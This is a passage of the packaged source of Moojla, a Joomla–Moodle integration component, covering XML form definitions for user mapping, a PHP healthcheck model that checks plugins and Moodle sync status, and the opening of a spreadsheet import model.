label="COM_MOOJLA_USER_FIELD_MAP_MUSERFIELDS_LABEL"
                       class="list_class"
                       multiple="false"
                       default="0"
                       required="true"
                       button="false" />
                <!-- Iscv Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="iscv"
                      
label="COM_MOOJLA_USER_FIELD_MAP_ISCV_LABEL"
                      
description="COM_MOOJLA_USER_FIELD_MAP_ISCV_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="0"
                       readonly="false"
                       disabled="false">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_USER_FIELD_MAP_YES</option>
                        <option
value="0">COM_MOOJLA_USER_FIELD_MAP_NO</option>
                </field>
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this user_field_map"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="user_field_map"
		/>
	</fieldset>
</form>models/forms/user_map.xml000064400000015175151165724400011530
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_USER_MAP_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_USER_MAP_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                      
label="COM_MOOJLA_USER_MAP_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_USER_MAP_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_USER_MAP_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_USER_MAP_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_USER_MAP_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_USER_MAP_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                       label="COM_MOOJLA_USER_MAP_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                       label="COM_MOOJLA_USER_MAP_VERSION_LABEL"
                      
description="COM_MOOJLA_USER_MAP_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla user_map" />
                <!-- Dynamic Fields.-->
                <!-- Jid Field. Type: User. (joomla)-->
                <field type="user"
                       name="jid"
                       label="COM_MOOJLA_USER_MAP_JID_LABEL"
                      
description="COM_MOOJLA_USER_MAP_JID_DESCRIPTION"
                       required="true" />
                <!-- Mid Field. Type: Text. (joomla)-->
                <field type="text"
                       name="mid"
                       label="COM_MOOJLA_USER_MAP_MID_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_USER_MAP_MID_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="true"
                       filter="INT"
                       message="COM_MOOJLA_USER_MAP_MID_MESSAGE"
                       hint="COM_MOOJLA_USER_MAP_MID_HINT"
                       autocomplete="off" />
                <!-- Userimage Field. Type: Text. (joomla)-->
                <field type="text"
                       name="userimage"
                      
label="COM_MOOJLA_USER_MAP_USERIMAGE_LABEL"
                       size="1024"
                       maxlength="1024"
                      
description="COM_MOOJLA_USER_MAP_USERIMAGE_DESCRIPTION"
                       class="text_area" />
                <!-- Debug Field. Type: Hidden. (joomla)-->
                <field type="hidden"
                       name="debug"
                       default="1"
                       filter="STRING" />
                <!-- Updatetype Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="updatetype"
                      
label="COM_MOOJLA_USER_MAP_UPDATETYPE_LABEL"
                       class="btn-group btn-group-yesno"
                       default="1">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_USER_MAP_TWOWAY_EFFECT</option>
                        <option
value="-1">COM_MOOJLA_USER_MAP_MOODLE_EFFECT</option>
                        <option
value="-2">COM_MOOJLA_USER_MAP_JOOMLA_EFFECT</option>
                        <option
value="0">COM_MOOJLA_USER_MAP_NEVER</option>
                </field>
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this user_map"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="user_map"
		/>
	</fieldset>
</form>models/healthcheck.php000064400000033046151165724400011016
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		healthcheck.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Healthcheck Model
 */
class MoojlaModelHealthcheck extends JModelItem
{
	/**
	 * Model context string.
	 *
	 * @var        string
	 */
	protected $_context = 'com_moojla.healthcheck';

        /**
	 * Model user data.
	 *
	 * @var        strings
	 */
	protected $user;
	protected $userId;
	protected $guest;
	protected $groups;
	protected $levels;
	protected $app;
	protected $input;
	protected $uikitComp;

	/**
	 * @var object item
	 */
	protected $item;

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @since   1.6
	 *
	 * @return void
	 */
	protected function populateState()
	{
		$this->app = JFactory::getApplication();
		$this->input = $this->app->input;
		// Get the item main id
		$id = $this->input->getInt('id', null);
		$this->setState('healthcheck.id', $id);

		// Load the parameters.
		parent::populateState();
	}

	/**
	 * Method to get article data.
	 *
	 * @param   integer  $pk  The id of the article.
	 *
	 * @return  mixed  Menu item data object on success, false on failure.
	 */
	public function getItem($pk = null)
	{
		$this->user	= JFactory::getUser();
		// check if this user has permission to access item
		if (!$this->user->authorise('healthcheck.access',
'com_moojla'))
		{
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('Not authorised!'),
'error');
			// redirect away if not a correct to cPanel/default view
			$app->redirect('index.php?option=com_moojla');
			return false;
		}
		$this->userId = $this->user->get('id');
		$this->guest = $this->user->get('guest');
		$this->groups = $this->user->get('groups');
		$this->authorisedGroups = $this->user->getAuthorisedGroups();
		$this->levels = $this->user->getAuthorisedViewLevels();
		$this->initSet = true;

		$pk = (!empty($pk)) ? $pk : (int)
$this->getState('healthcheck.id');
		
		if ($this->_item === null)
		{
			$this->_item = array();
		}

		if (!isset($this->_item[$pk]))
		{
			try
			{
				// Get a db connection.
				$db = JFactory::getDbo();

				// Create a new query object.
				$query = $db->getQuery(true);

				// Get data

/***[JCBGUI.dynamic_get.php_custom_get.57.$$$$]***/
        $plugins = new stdClass();
        $plugins->joomla = array();
        $plugins->thirdparties = array();
        $moojla_joomla_plugins_name = array( // translate need
          "moojlaaditionalfields_moojlaaditionnalfieldcb" =>
"Its important for syncing users with joomla fields",
          "moojlaaditionalfields_moojlaaditionnalfieldnative"
=> "Its important for syncing users with cb fields",
          "user_moojlasso_j2m" => "Its important for
syncing users login status from joomla to moodle",
          "moojlaevents_moojlasso_m2j" => "Its important
for syncing users login status from moodle to joomla",
          "user_moojlausersyncer_j2m" => "Its important
for syncing users from joomla to moodle",
          "moojlaevents_moojlausersyncer_m2j" => "Its
important for syncing users from moodle to joomla",
          "moojlaevents_moojlacoursesyncer_m2j" => "Its
important for syncing course from moodle to joomla",
          "system_moojlahikashoporder" => "Its important
enrolling users in hikashop products(courses)",
          "moojlaevents_moojlaenrolmentmethod" => "Its
important for syncing course enrolment instances",
          "moojlashopintegration_moojlahikashopproduct_m2j" =>
"Its important for syncing course product in hikashop",
          "search_moojlasearchbycourse" => "Its important
for search course by name",
          "search_moojlasearchbycategory" => "Its
important for search course by category",
          "user_moojlaautologingwithredirect" => "for
login user after creation",
          "moojlaevents_moojlacourse_events" => "for
showing particles like kommento in moojla coursedetil view",
          "moojlaevents_moojlagroup_manager" => "Its
important for creating groups after course creation",
          "user_moojlaenrolwithgroups_j2m" => "Its
important for enrrol(unenrol) users with joinig(leaving) groups",
          "moojlaevents_moojlatagsyncer_m2j" => "for
creating and syncing coursetags from moodle to joomla",
          "moojlaevents_moojlaenrolment_m2j" => "Its
important for syncing moojla enroments",
        );
        foreach($moojla_joomla_plugins_name as $mjp => $importancy)
        {
          $plugins->joomla[$mjp] = new stdClass();
          $plugins->joomla[$mjp]->installed = false;
          $plugins->joomla[$mjp]->enabled = false;
          $plugins->joomla[$mjp]->importancy = $importancy;
        }


        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('*');
        $query->from($db->quoteName('#__extensions'));
        $query->where($db->quoteName('name') . ' IN
("plg_' . implode('","plg_',
array_keys($moojla_joomla_plugins_name)) . '")');
        $db->setQuery($query);
        $extensions_res = $db->loadObjectList('name');

        foreach(array_keys($moojla_joomla_plugins_name) as $mjp)
        {
          if(isset($extensions_res['PLG_' . strtoupper($mjp)]))
          {
            $plugins->joomla[$mjp]->installed = true;
            $plugins->joomla[$mjp]->enabled =
(($extensions_res['PLG_' . strtoupper($mjp)]->enabled) == 1);
          }
        }

        $moojla_cb_plugins_name = array( // translate need
          "moojlacbeventforwarder" => "Its important for
syncing users with cb fields"
        );

        foreach($moojla_cb_plugins_name as $mcp => $importancy)
        {
          $plugins->thirdparties['cb'][$mcp] = new
stdClass();
          $plugins->thirdparties['cb'][$mcp]->installed =
false;
          $plugins->thirdparties['cb'][$mcp]->enabled =
false;
          $plugins->thirdparties['cb'][$mcp]->importancy =
$importancy;
        }

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('*');
       
$query->from($db->quoteName('#__comprofiler_plugin'));
        $query->where($db->quoteName('element') . ' IN
("' . implode('","',
array_keys($moojla_cb_plugins_name)) . '")');
        $db->setQuery($query);
        try {
          $comprofiler_plugin =
$db->loadObjectList('element');
          foreach(array_keys($moojla_cb_plugins_name) as $mcp)
          {
            if(isset($comprofiler_plugin[$mcp]))
            {
              $plugins->thirdparties['cb'][$mcp]->installed
= true;
              $plugins->thirdparties['cb'][$mcp]->enabled =
(($comprofiler_plugin[$mcp]->published) == 1);
            }
          }
        } catch (Exception $e) {
          $plugins->thirdparties['cb'] = array();
        }
        $this->_item[$pk] = array("plugins" => $plugins);

        $uri = JUri::getInstance();

        $params = JComponentHelper::getParams('com_moojla');
        $moodle_url = trim($params->get('moodle_url'));
        $joomla_token = trim($params->get('joomla_token'));

        $curl = curl_init();

        curl_setopt_array($curl, array(
          CURLOPT_URL =>
$moodle_url.'auth/moojla/requestHandler.php',
          CURLOPT_RETURNTRANSFER => true,
          CURLOPT_ENCODING => '',
          CURLOPT_MAXREDIRS => 10,
          CURLOPT_TIMEOUT => 0,
          CURLOPT_FOLLOWLOCATION => true,
          CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
          CURLOPT_CUSTOMREQUEST => 'POST',
          CURLOPT_POSTFIELDS => array('joomla_url' =>
$uri->root(),'joomla_token' => $joomla_token),
        ));

        $response = curl_exec($curl);

        $this->_item[$pk]['component'] =
json_decode($response);
        curl_close($curl);
        JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
        $dataObj = array(
          "wsfunction"          => 
"moojla_health_check",
          "moodlewsrestformat"  =>  "json",
        );
        $tokenReq = MoojlaHelper::sendRequestToMoodle($dataObj);
        $token_status = json_decode($tokenReq->response);
        $this->_item[$pk]['component']->moodleToken =
$token_status->message === 1 ? true : false;
        if($token_status->message !== 1)
        {
         
$this->_item[$pk]['component']->error->moodleToken =
'Moodle token should be exactly what set to moojla service in
yourmoodle.com/admin/settings.php?section=webservicetokens'; //
translate need
        }

        JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
        $dataObj = array(
          "wsfunction"          => 
"moojla_get_users_minimal",
          "moodlewsrestformat"  =>  "json",
          "notadmin"            =>  1
        );
        $moodleusers =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response,
true);
        $mids = array_column($moodleusers, 'id');

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('mid');
       
$query->from($db->quoteName('#__moojla_user_map'));
        $query->where($db->quoteName('mid') . '
<> 0');
        $query->where($db->quoteName('jid') . '
<> 0');
        $query->where($db->quoteName('published') . '
= 1');
        $db->setQuery($query);
        $map = $db->loadColumn();
        $diff = array_diff($mids ,$map);

        $this->_item[$pk]['moodleusersdiff'] = $diff;


        JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
        $dataObj = array(
          "wsfunction"          => 
"moojla_get_mapped_users",
          "moodlewsrestformat"  =>  "json",
        );
        $moodlemoojlamap =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response,
true);
        $jids = array_column($moodlemoojlamap, 'jid');


        $db = JFactory::getDbo();
        $query = "SELECT u.id FROM #__users AS u WHERE u.id NOT IN (
SELECT uum.user_id FROM #__user_usergroup_map AS uum INNER JOIN
#__usergroups AS uu ON uu.id = uum.group_id WHERE uu.title IN ('Super
Users', 'Administrator'))";

        $db->setQuery($query);
        $jmap = $db->loadColumn();

        $jdiff = array_diff($jmap, $jids);
        $this->_item[$pk]['joomlausersdiff'] = $jdiff;


        JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
        $dataObj = array(
          "wsfunction"          => 
"moojla_get_courses",
          "moodlewsrestformat"  =>  "json",
        );
        $moodlecourses =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response,
true);
        $remoteids = array_column($moodlecourses, 'id');

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('remoteid');
        $query->from($db->quoteName('#__moojla_course'));
        $query->where($db->quoteName('published') . '
= 1');
        $db->setQuery($query);
        $cmap = $db->loadColumn();

        $coursedif = array_diff($remoteids, $cmap);
        $this->_item[$pk]['coursedif'] = $coursedif;

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('mcatid');
       
$query->from($db->quoteName('#__moojla_category_map'));
        $query->where($db->quoteName('published') . '
= 1');
        $db->setQuery($query);
        $catmap = $db->loadColumn();

        $dataObj = array(
          "wsfunction"          =>
"moojla_get_course_categories",
          "moodlewsrestformat"  => "json",
        );
        $course_cats =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
        $categories = array_column($course_cats, 'id');
        $catdif = array_diff($categories, $catmap);
        $this->_item[$pk]['catdif'] = $catdif;

        return $this->_item[$pk];
/***[/JCBGUI$$$$]***/


				// Reset the query using our newly populated query object.
				$db->setQuery($query);
				// Load the results as a stdClass object.
				$data = $db->loadObject();

				if (empty($data))
				{
					$app = JFactory::getApplication();
					// If no data is found redirect to default page and show warning.
					$app->enqueueMessage(JText::_('COM_MOOJLA_NOT_FOUND_OR_ACCESS_DENIED'),
'warning');
					$app->redirect('index.php?option=com_moojla');
					return false;
				}

				// set data object to item.
				$this->_item[$pk] = $data;
			}
			catch (Exception $e)
			{
				if ($e->getCode() == 404)
				{
					// Need to go thru the error handler to allow Redirect to work.
					JError::raiseWarning(404, $e->getMessage());
				}
				else
				{
					$this->setError($e);
					$this->_item[$pk] = false;
				}
			}
		}

		return $this->_item[$pk];
	}
}
models/import.php000064400000047157151165724400010075 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		import.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
use Joomla\Utilities\ArrayHelper;
use PhpOffice\PhpSpreadsheet\IOFactory;

/**
 * Moojla Import Model
 */
class MoojlaModelImport extends JModelLegacy
{
	// set uploading values
	protected $use_streams = false;
	protected $allow_unsafe = false;
	protected $safeFileOptions = array();
	
	/**
	 * @var object JTable object
	 */
	protected $_table = null;

	/**
	 * @var object JTable object
	 */
	protected $_url = null;

	/**
	 * Model context string.
	 *
	 * @var        string
	 */
	protected $_context = 'com_moojla.import';
	
	/**
	 * Import Settings
	 */
	protected $getType 	= NULL;
	protected $dataType	= NULL;
	
	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('administrator');

		$this->setState('message',
$app->getUserState('com_moojla.message'));
		$app->setUserState('com_moojla.message', '');

		// Recall the 'Import from Directory' path.
		$path = $app->getUserStateFromRequest($this->_context .
'.import_directory', 'import_directory',
$app->get('tmp_path'));
		$this->setState('import.directory', $path);
		parent::populateState();
	}

	/**
	 * Import an spreadsheet from either folder, url or upload.
	 *
	 * @return  boolean result of import
	 *
	 */
	public function import()
	{
		$this->setState('action', 'import');
		$app = JFactory::getApplication();
		$session = JFactory::getSession();
		$package = null;
		$continue = false;
		// get import type
		$this->getType = $app->input->getString('gettype',
NULL);
		// get import type
		$this->dataType	=
$session->get('dataType_VDM_IMPORTINTO', NULL);

		if ($package === null)
		{
			switch ($this->getType)
			{
				case 'folder':
					// Remember the 'Import from Directory' path.
					$app->getUserStateFromRequest($this->_context .
'.import_directory', 'import_directory');
					$package = $this->_getPackageFromFolder();
					break;

				case 'upload':
					$package = $this->_getPackageFromUpload();
					break;

				case 'url':
					$package = $this->_getPackageFromUrl();
					break;

				case 'continue':
					$continue 	= true;
					$package	= $session->get('package', null);
					$package	= json_decode($package, true);
					// clear session
					$session->clear('package');
					$session->clear('dataType');
					$session->clear('hasPackage');
					break;

				default:
					$app->setUserState('com_moojla.message',
JText::_('COM_MOOJLA_IMPORT_NO_IMPORT_TYPE_FOUND'));

					return false;
					break;
			}
		}
		// Was the package valid?
		if (!$package || !$package['type'])
		{
			if (in_array($this->getType, array('upload',
'url')))
			{
				$this->remove($package['packagename']);
			}

			$app->setUserState('com_moojla.message',
JText::_('COM_MOOJLA_IMPORT_UNABLE_TO_FIND_IMPORT_PACKAGE'));
			return false;
		}
		
		// first link data to table headers
		if(!$continue){
			$package = json_encode($package);
			$session->set('package', $package);
			$session->set('dataType', $this->dataType);
			$session->set('hasPackage', true);
			return true;
		}
        
		// set the data
		$headerList =
json_decode($session->get($this->dataType.'_VDM_IMPORTHEADERS',
false), true);
		if (!$this->setData($package,$this->dataType,$headerList))
		{
			// There was an error importing the package
			$msg = JText::_('COM_MOOJLA_IMPORT_ERROR');
			$back = $session->get('backto_VDM_IMPORT', NULL);
			if ($back)
			{
				$app->setUserState('com_moojla.redirect_url',
'index.php?option=com_moojla&view='.$back);
				$session->clear('backto_VDM_IMPORT');
			}
			$result = false;
		}
		else
		{
			// Package imported sucessfully
			$msg = JText::sprintf('COM_MOOJLA_IMPORT_SUCCESS',
$package['packagename']);
			$back = $session->get('backto_VDM_IMPORT', NULL);
			if ($back)
			{
			    $app->setUserState('com_moojla.redirect_url',
'index.php?option=com_moojla&view='.$back);
			    $session->clear('backto_VDM_IMPORT');
			}
			$result = true;
		}

		// Set some model state values
		$app->enqueueMessage($msg);

		// remove file after import
		$this->remove($package['packagename']);
		$session->clear($this->getType.'_VDM_IMPORTHEADERS');
        
		return $result;
	}

	/**
	 * Works out an importation spreadsheet from a HTTP upload
	 *
	 * @return spreadsheet definition or false on failure
	 */
	protected function _getPackageFromUpload()
	{		
		// Get the uploaded file information
		$app = JFactory::getApplication();
		$input = $app->input;

		// Do not change the filter type 'raw'. We need this to let
files containing PHP code to upload. See JInputFiles::get.
		$userfile = $input->files->get('import_package', null,
'raw');
		
		// Make sure that file uploads are enabled in php
		if (!(bool) ini_get('file_uploads'))
		{
			$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_WARNIMPORTFILE'),
'warning');
			return false;
		}

		// If there is no uploaded file, we have a problem...
		if (!is_array($userfile))
		{
			$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_NO_FILE_SELECTED'),
'warning');
			return false;
		}

		// Check if there was a problem uploading the file.
		if ($userfile['error'] || $userfile['size'] < 1)
		{
			$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_WARNIMPORTUPLOADERROR'),
'warning');
			return false;
		}

		// Build the appropriate paths
		$config = JFactory::getConfig();
		$tmp_dest = $config->get('tmp_path') . '/' .
$userfile['name'];
		$tmp_src = $userfile['tmp_name'];

		// Move uploaded file
		jimport('joomla.filesystem.file');
		$p_file = File::upload($tmp_src, $tmp_dest, $this->use_streams,
$this->allow_unsafe, $this->safeFileOptions);

		// Was the package downloaded?
		if (!$p_file)
		{
			$session = JFactory::getSession();
			$session->clear('package');
			$session->clear('dataType');
			$session->clear('hasPackage');
			// was not uploaded
			return false;
		}

		// check that this is a valid spreadsheet
		$package = $this->check($userfile['name']);

		return $package;
	}

	/**
	 * Import an spreadsheet from a directory
	 *
	 * @return  array  Spreadsheet details or false on failure
	 *
	 */
	protected function _getPackageFromFolder()
	{
		$app = JFactory::getApplication();
		$input = $app->input;

		// Get the path to the package to import
		$p_dir = $input->getString('import_directory');
		$p_dir = JPath::clean($p_dir);
		// Did you give us a valid path?
		if (!file_exists($p_dir))
		{
			$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_PLEASE_ENTER_A_PACKAGE_DIRECTORY'),
'warning');
			return false;
		}

		// Detect the package type
		$type = $this->getType;

		// Did you give us a valid package?
		if (!$type)
		{
			$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE'),
'warning');
		}
		
		// check the extention
		if(!$this->checkExtension($p_dir))
		{
			// set error message
			$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_DOES_NOT_HAVE_A_VALID_FILE_TYPE'),
'warning');
			return false;
		}
		
		$package['packagename'] = null;
		$package['dir'] = $p_dir;
		$package['type'] = $type;

		return $package;
	}

	/**
	 * Import an spreadsheet from a URL
	 *
	 * @return  Package details or false on failure
	 *
	 */
	protected function _getPackageFromUrl()
	{
		$app = JFactory::getApplication();
		$input = $app->input;
		
		// Get the URL of the package to import
		$url = $input->getString('import_url');

		// Did you give us a URL?
		if (!$url)
		{
			$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_ENTER_A_URL'),
'warning');
			return false;
		}

		// Download the package at the URL given
		$p_file = JInstallerHelper::downloadPackage($url);

		// Was the package downloaded?
		if (!$p_file)
		{
			$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_INVALID_URL'),
'warning');
			return false;
		}

		// check that this is a valid spreadsheet
		$package = $this->check($p_file);

		return $package;
	}
	
	/**
	 * Check a file and verifies it as a spreadsheet file
	 * Supports .csv .xlsx .xls and .ods
	 *
	 * @param   string  $p_filename  The uploaded package filename or import
directory
	 *
	 * @return  array  of elements
	 *
	 */
	protected function check($archivename)
	{
		$app = JFactory::getApplication();
		// Clean the name
		$archivename = JPath::clean($archivename);
		
		// check the extention
		if(!$this->checkExtension($archivename))
		{
			// Cleanup the import files
			$this->remove($archivename);
			$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_DOES_NOT_HAVE_A_VALID_FILE_TYPE'),
'warning');
			return false;
		}
		
		$config = JFactory::getConfig();
		// set Package Name
		$check['packagename'] = $archivename;
		
		// set directory
		$check['dir'] = $config->get('tmp_path').
'/' .$archivename;
		
		// set type
		$check['type'] = $this->getType;
		
		return $check;
	}

	/**
	 * Check the extension
	 *
	 * @param   string  $file    Name of the uploaded file
	 *
	 * @return  boolean  True on success
	 *
	 */
	protected function checkExtension($file)
	{
		// check the extention
		switch(strtolower(pathinfo($file, PATHINFO_EXTENSION)))
		{
			case 'xls':
			case 'ods':
			case 'csv':
			return true;
			break;
		}
		return false;
	}

	/**
	 * Clean up temporary uploaded spreadsheet
	 *
	 * @param   string  $package    Name of the uploaded spreadsheet file
	 *
	 * @return  boolean  True on success
	 *
	 */
	protected function remove($package)
	{
		jimport('joomla.filesystem.file');
		
		$config = JFactory::getConfig();
		$package = $config->get('tmp_path'). '/'
.$package;

		// Is the package file a valid file?
		if (is_file($package))
		{
			File::delete($package);
		}
		elseif (is_file(JPath::clean($package)))
		{
			// It might also be just a base filename
			File::delete(JPath::clean($package));
		}
	}

	/**
	* Set the data from the spreadsheet to the database
	*
	* @param string  $package Paths to the uploaded package file
	*
	* @return  boolean false on failure
	*
	**/
	protected function setData($package,$table,$target_headers)
	{
		if (MoojlaHelper::checkArray($target_headers))
		{
			// make sure the file is loaded
			MoojlaHelper::composerAutoload('phpspreadsheet');
			$jinput = JFactory::getApplication()->input;
			foreach($target_headers as $header)
			{
				if (($column = $jinput->getString($header, false)) !== false ||
					($column = $jinput->getString(strtolower($header), false)) !==
false)
				{
					$data['target_headers'][$header] = $column;
				}
				else
				{
					$data['target_headers'][$header] = null;
				}
			}
			// set the data
			if(isset($package['dir']))
			{
				$inputFileType = IOFactory::identify($package['dir']);
				$excelReader = IOFactory::createReader($inputFileType);
				$excelReader->setReadDataOnly(true);
				$excelObj = $excelReader->load($package['dir']);
				$data['array'] =
$excelObj->getActiveSheet()->toArray(null, true,true,true);
				$excelObj->disconnectWorksheets();
				unset($excelObj);
				return $this->save($data, $table);
			}
		}
		return false;
	}

	/**
	* Save the data from the file to the database
	*
	* @param string  $package Paths to the uploaded package file
	*
	* @return  boolean false on failure
	*
	**/
	protected function save($data,$table)
	{
		// import the data if there is any
		if(MoojlaHelper::checkArray($data['array']))
		{
			// get user object
			$user		= JFactory::getUser();
			// remove header if it has headers
			$id_key	= $data['target_headers']['id'];
			$published_key	=
$data['target_headers']['published'];
			$ordering_key	= $data['target_headers']['ordering'];
			// get the first array set
			$firstSet = reset($data['array']);

			// check if first array is a header array and remove if true
			if($firstSet[$id_key] == 'id' || $firstSet[$published_key] ==
'published' || $firstSet[$ordering_key] == 'ordering')
			{
				array_shift($data['array']);
			}
			
			// make sure there is still values in array and that it was not only
headers
			if(MoojlaHelper::checkArray($data['array']) &&
$user->authorise($table.'.import', 'com_moojla')
&& $user->authorise('core.import',
'com_moojla'))
			{
				// set target.
				$target	= array_flip($data['target_headers']);
				// Get a db connection.
				$db = JFactory::getDbo();
				// set some defaults
				$todayDate		= JFactory::getDate()->toSql();
				// get global action permissions
				$canDo			= MoojlaHelper::getActions($table);
				$canEdit		= $canDo->get('core.edit');
				$canState		= $canDo->get('core.edit.state');
				$canCreate		= $canDo->get('core.create');
